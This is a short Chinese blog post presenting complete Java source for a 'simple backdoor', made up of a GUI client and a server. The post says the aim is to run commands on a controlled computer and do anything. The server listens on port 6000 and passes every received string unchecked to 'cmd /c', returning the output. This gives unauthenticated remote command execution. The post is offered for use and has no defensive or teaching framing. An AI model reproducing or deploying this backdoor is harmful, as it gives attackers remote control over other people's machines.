JAVA简单后门程序
JAVA简单后门程序
主要是用网络编程技巧,调用被控计算机的本地命令,这样就可以为所欲为了。。。
客户端:
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
65 
66 
67 
68 
69 
 | 
import java.awt.*;import java.awt.event.*;import java.io.*;import java.net.*;public class Client extends Frame implements ActionListener {    Label label = new Label("指令");    Panel panel = new Panel();    TextField tf = new TextField(20);    TextArea ta = new TextArea();    Socket client;    InputStream in;    OutputStream out;    public Client() {        super("客户机");        setSize(250, 250);        panel.add(label);        panel.add(tf);        tf.addActionListener(this);        add("South", panel);        add("Center", ta);        addWindowListener(new WindowAdapter() { //退出                public void windowClosing(WindowEvent e) {                    System.exit(0);                }            });        show();        try {            client = new Socket(InetAddress.getLocalHost(), 6000); //向6000端口发出客户请求            ta.append("服务器是:" + client.getInetAddress().getHostAddress() +                "\n\n");            in = client.getInputStream();            out = client.getOutputStream();        } catch (IOException ioe) {        }        while (true) {            try {                byte[] buf = new byte[256];                in.read(buf);                String str = new String(buf);                ta.append(str + "\n");            }            catch (IOException e) {            }        }    }    public void actionPerformed(ActionEvent e) {        try {            String str = tf.getText();            byte[] buf = str.getBytes();            tf.setText(null);            out.write(buf);            ta.append("\n指令:" + str + "\n");        } catch (IOException ioe) {        }    }    public static void main(String[] args) {        new Client();    }} | 
服务端:
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
 | 
import java.io.*; import java.net.*; import java.awt.*; import java.awt.event.*;public class Server extends Frame {ServerSocket server; Socket client; InputStream in; OutputStream out; public Server() { super("服务器"); setSize(250,250);   addWindowListener(new WindowAdapter(){    public void windowClosing(WindowEvent e)    {     System.exit(0);    } }); show(); try{    server=new ServerSocket(6000);    client=server.accept();    in=client.getInputStream();    out=client.getOutputStream(); }catch(IOException ioe){} while(true){    try{ String Result=null;    byte[]buf=new byte[256];     in.read(buf);     String str=new String(buf);    Process p = Runtime.getRuntime().exec("cmd /c "+str);    BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));    while((Result=br.readLine())!=null)    {    out.write(Result.getBytes());            }   }catch (IOException e){} } }public static void main(String[]args) { new Server(); } } | 
                    
                
                
            
        
浙公网安备 33010602011771号